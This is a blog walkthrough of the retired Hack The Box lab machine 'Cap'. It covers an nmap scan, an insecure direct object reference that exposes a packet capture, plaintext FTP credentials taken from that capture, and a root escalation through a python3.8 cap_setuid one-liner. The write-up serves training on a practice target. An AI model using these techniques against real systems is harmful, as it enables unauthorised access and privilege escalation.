6 minute read Leia também em :brazil: Share

Hello guys!

This week’s machine will be Cap, another easy-rated Linux box from Hack The Box, created by InfoSecJack.

:information_source: Info: Write-ups for Hack The Box machines are posted as soon as they’re retired.

HTB Cap

This box was very easy and demonstrates why we have to always secure communication while accessing services, which was the way we could get the credentials to escalate privileges to root.

Enumeration

As usual, started with a nmap quick scan to list the currently published services.

$ nmap -sC -sV -Pn -oA quick 10.10.10.245
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 20:04 -03
Nmap scan report for 10.10.10.245
Host is up (0.073s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
|   256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_  256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Tue, 10 Aug 2021 23:04:20 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 10 Aug 2021 23:04:15 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 19386
|     <!DOCTYPE html>
|     <html class="no-js" lang="en">
|     <head>
|     <head>
|     <meta charset="utf-8">
|     <meta http-equiv="x-ua-compatible" content="ie=edge">
|     <title>Security Dashboard</title>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <link rel="shortcut icon" type="image/png" href="/static/images/icon/favicon.ico">
|     <link rel="stylesheet" href="/static/css/bootstrap.min.css">
|     <link rel="stylesheet" href="/static/css/font-awesome.min.css">
|     <link rel="stylesheet" href="/static/css/themify-icons.css">
|     <link rel="stylesheet" href="/static/css/metisMenu.css">
|     <link rel="stylesheet" href="/static/css/owl.carousel.min.css">
|     <link rel="stylesheet" href="/static/css/slicknav.min.css">
|     <!-- amchar
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     Server: gunicorn
|     Date: Tue, 10 Aug 2021 23:04:15 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Allow: GET, HEAD, OPTIONS
|     Content-Length: 0
|   RTSPRequest:
|     HTTP/1.1 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     Content-Length: 196
|     <html>
|     <head>
|     <title>Bad Request</title>
|     </head>
|     <body>
|     <h1><p>Bad Request</p></h1>
|     Invalid HTTP Version &#x27;Invalid HTTP Version: &#x27;RTSP/1.0&#x27;&#x27;
|     </body>
|_    </html>
|_http-server-header: gunicorn
|_http-title: Security Dashboard
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.91%I=7%D=8/10%Time=611305F3%P=x86_64-pc-linux-gnu%r(GetR
SF:equest,2FE5,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20
SF:Tue,\x2010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\
SF:nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20193
SF:86\r\n\r\n<!DOCTYPE\x20html>\n<html\x20class=\"no-js\"\x20lang=\"en\">\
SF:n\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x2
SF:0<meta\x20http-equiv=\"x-ua-compatible\"\x20content=\"ie=edge\">\n\x20\
SF:x20\x20\x20<title>Security\x20Dashboard</title>\n\x20\x20\x20\x20<meta\
SF:x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-scale=
SF:1\">\n\x20\x20\x20\x20<link\x20rel=\"shortcut\x20icon\"\x20type=\"image
SF:/png\"\x20href=\"/static/images/icon/favicon\.ico\">\n\x20\x20\x20\x20<
SF:link\x20rel=\"stylesheet\"\x20href=\"/static/css/bootstrap\.min\.css\">
SF:\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/css/fon
SF:t-awesome\.min\.css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20
SF:href=\"/static/css/themify-icons\.css\">\n\x20\x20\x20\x20<link\x20rel=
SF:\"stylesheet\"\x20href=\"/static/css/metisMenu\.css\">\n\x20\x20\x20\x2
SF:0<link\x20rel=\"stylesheet\"\x20href=\"/static/css/owl\.carousel\.min\.
SF:css\">\n\x20\x20\x20\x20<link\x20rel=\"stylesheet\"\x20href=\"/static/c
SF:ss/slicknav\.min\.css\">\n\x20\x20\x20\x20<!--\x20amchar")%r(HTTPOption
SF:s,B3,"HTTP/1\.0\x20200\x20OK\r\nServer:\x20gunicorn\r\nDate:\x20Tue,\x2
SF:010\x20Aug\x202021\x2023:04:15\x20GMT\r\nConnection:\x20close\r\nConten
SF:t-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20GET,\x20HEAD,\x20OP
SF:TIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,121,"HTTP/1\.1\x2
SF:0400\x20Bad\x20Request\r\nConnection:\x20close\r\nContent-Type:\x20text
SF:/html\r\nContent-Length:\x20196\r\n\r\n<html>\n\x20\x20<head>\n\x20\x20
SF:\x20\x20<title>Bad\x20Request</title>\n\x20\x20</head>\n\x20\x20<body>\
SF:n\x20\x20\x20\x20<h1><p>Bad\x20Request</p></h1>\n\x20\x20\x20\x20Invali
SF:d\x20HTTP\x20Version\x20&#x27;Invalid\x20HTTP\x20Version:\x20&#x27;RTSP
SF:/1\.0&#x27;&#x27;\n\x20\x20</body>\n</html>\n")%r(FourOhFourRequest,189
SF:,"HTTP/1\.0\x20404\x20NOT\x20FOUND\r\nServer:\x20gunicorn\r\nDate:\x20T
SF:ue,\x2010\x20Aug\x202021\x2023:04:20\x20GMT\r\nConnection:\x20close\r\n
SF:Content-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x20232\
SF:r\n\r\n<!DOCTYPE\x20HTML\x20PUBLIC\x20\"-//W3C//DTD\x20HTML\x203\.2\x20
SF:Final//EN\">\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>
SF:\n<p>The\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20ser
SF:ver\.\x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20ch
SF:eck\x20your\x20spelling\x20and\x20try\x20again\.</p>\n");
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.56 seconds

80/TCP - HTTP Service

Observing the published page, we can see a monitoring dashboard with some options on the left.

HTB Cap - Security Dashboard

Inspecting the options provided in the left pane, the only interesting feature was the Security Snapshot (5 Second PCAP + Analysis), which summarizes the package count received in the last interval. The panel option redirects us to http://10.10.10.245/capture and right after the 5-second interval, we’re redirected to the summarized data, as seen in the address bar http://10.10.10.245/data/1. On this page, you can also download the pcap file generated during the capture, which can be analyzed by yourself using a command line or graphical tools like Wireshark.

HTB Cap - Security Snapshot

An interesting point is that when I have requested another capture, the redirected URL provided was sequential (http://10.10.10.245/data/2), which implies that we could be able to see previous captures as well.

Considering that the counter is incrementing, we might have capture registered at “0” so manually changed the URL in the address bar and the stats below were displayed, indicating that we had some conversation and possibly, if communication is unencrypted, we would be able to obtain sensitive data from it.

HTB Cap - Security Snapshot "zero"

Analyzing its content using Wireshark, started analyzing the conversation statistics (Statistics > Conversations), we can see below, having 3 HTTP conversations (80/TCP) and one FTP (21/TCP)

HTB Cap - PCAP Statistics

Analyzing each TCP Stream the most interesting one was the last (stream 3) which, in this FTP communication, we can see the credentials provided for user nathan and the retrieved file notes.txt, that could contain important information to us during this box resolution

nathan:Buck3tH4TF0RM3!

HTB Cap - PCAP FTP Stream

Initial access and User flag

Using the observed credentials, was able to connect to FTP and surprisingly the root directory is at the user’s home directory, where I was able to retrieve the user.txt file and read the flag

$ ftp 10.10.10.245
Connected to 10.10.10.245.
220 (vsFTPd 3.0.3)
Name (10.10.10.245:zurc): nathan
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    3 1001     1001         4096 May 27 09:16 .
drwxr-xr-x    3 0        0            4096 May 23 19:17 ..
lrwxrwxrwx    1 0        0               9 May 15 21:40 .bash_history -> /dev/null
-rw-r--r--    1 1001     1001          220 Feb 25  2020 .bash_logout
-rw-r--r--    1 1001     1001         3771 Feb 25  2020 .bashrc
drwx------    2 1001     1001         4096 May 23 19:17 .cache
-rw-r--r--    1 1001     1001          807 Feb 25  2020 .profile
lrwxrwxrwx    1 0        0               9 May 27 09:16 .viminfo -> /dev/null
-r--------    1 1001     1001           33 Aug 11 16:25 user.txt
226 Directory send OK.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for user.txt (33 bytes).
226 Transfer complete.
33 bytes received in 0.00 secs (358.0729 kB/s)
ftp> exit
221 Goodbye.

$ cat user.txt
<redacted>

Root flag

After reading the user’s flag, gave a try with the same credentials to connect via SSH and succeeded, allowing us to enumerate the box.

The first thing privesc command to be executed as always was sudo -l but for nathan’s account got nothing. Following with a manual enumeration decided to check if we have read access to the application directory, which is hosted in the default dir (/var/www/html) and is a python-based web app, from app.py file, to which nathan has write access.

nathan@cap:/var/www/html$ ls -la
total 32
drwxr-xr-x 6 nathan nathan 4096 May 25 07:25 .
drwxr-xr-x 3 root   root   4096 May 23 19:17 ..
drwxr-xr-x 2 nathan nathan 4096 May 27 09:10 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 07:25 app.py
drwxr-xr-x 6 root   root   4096 May 23 19:17 static
drwxr-xr-x 2 root   root   4096 May 23 19:17 templates
drwxr-xr-x 2 root   root   4096 May 31 16:17 upload

As checking the functions on the file, noticed that it executes tcpdump, which normally requires root permissions to this task. This permission could also be leveraged to spawn a reverse shell as root to the attacker machine.

To test this, created another route in the app, with a custom path but to be effective I would need to recycle the flask website, not done automatically and this shouldn’t be the correct path to root.

Going a little deeper, decided to run linpeas.sh and found one configuration that could help us with this privilege escalation: there are some files with uncommon capabilities, which were validated later in GTFOBins:

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#capabilities
Current capabilities:
Current: =
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Shell capabilities:
0x0000000000000000=
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Files with capabilities (limited to 50):
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

The most interesting file was /usr/bin/python3.8 that has the cap_setuid capability set, which, according to python | GTFOBins it can be exploited by changing the uid of the session using the command below, spanning another instance of /bin/sh and, from it, was able to read root’s flag.

nathan@cap:~$ /usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id && hostname && cat /root/root.txt
uid=0(root) gid=1001(nathan) groups=1001(nathan)
cap
<redacted>

I hope you guys have enjoyed it!

See you at the next post :smile: